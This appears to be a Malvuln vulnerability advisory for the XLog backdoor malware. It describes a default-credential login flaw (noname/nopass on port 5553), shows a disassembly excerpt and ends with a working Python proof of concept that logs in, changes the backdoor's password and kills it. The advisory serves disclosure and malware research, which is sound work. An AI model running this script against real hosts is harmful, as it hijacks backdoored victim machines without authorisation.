Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/2906b5dc5132dd1319827415e837168f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.XLog.21
Vulnerability: Authentication Bypass Race Condition
Description: The malware listens on TCP port 5553. Third-party attackers who can reach the system before a password has been set can logon using default credentials of noname/nopass and run commands made avail by the backdoor including changing the password therby potentially locking out the original intruder.

Incorrect username "victim|pass" we get
Received invalid name parameter!

Incorrect password "noname|pass" we get
Received incorrect password from client!

Sending correct noname|nopass creds we get no error. Next, we must send valid cmds using correct pipe delimiter or we will get "Received invalid parameter" errors.

 push    offset aCmdChangepass ; "cmd changepass"
004018EA                 mov     edx, [ebp+Str1]
004018ED                 push    edx             ; Str1
004018EE                 call    _strcmp
004018F3                 add     esp, 8
004018F6                 test    eax, eax
004018F8                 jnz     loc_4019A6
004018FE                 lea     eax, [ebp+Delimiter]
00401901                 push    eax             ; Delimiter
00401902                 push    0               ; String
00401904                 call    _strtok
00401909                 add     esp, 8
0040190C                 mov     [ebp+Str1], eax
0040190F                 cmp     [ebp+Str1], 0
00401913                 jnz     short loc_401930
00401915                 push    offset aReceivedInvali_4 ; "\r\nReceived invalid parameter (NULL) f"...
0040191A                 mov     ecx, [ebp+s]
0040191D                 push    ecx             ; s
0040191E                 call    sub_4019D9

Family: XLog
Type: PE32
MD5: 2906b5dc5132dd1319827415e837168f
Vuln ID: MVID-2022-0543
Disclosure: 04/06/2022


Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=5553

def chk_res(s):
    res=""
    while True:
        res += s.recv(512)
        break
        if "\0" in res or "\n" in res or res == "":
            break
    return res

def doit():

    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    #Change the backdoors password so we PWN it!.
    PAYLOAD="noname|nopass|cmd:changepass|malvuln"
    s.send(PAYLOAD)
    time.sleep(0.5)

    #See whats the malware about
    PAYLOAD="noname|malvuln|cmd:about"
    s.send(PAYLOAD)
    time.sleep(0.5)
    print(chk_res(s))
    
    #Terminate the backdoor
    PAYLOAD="noname|malvuln|cmd:kill"
    s.send(PAYLOAD)
    time.sleep(0.5)
    print(chk_res(s))

    s.close()


if __name__=="__main__":
    doit()
    print("Malvuln")


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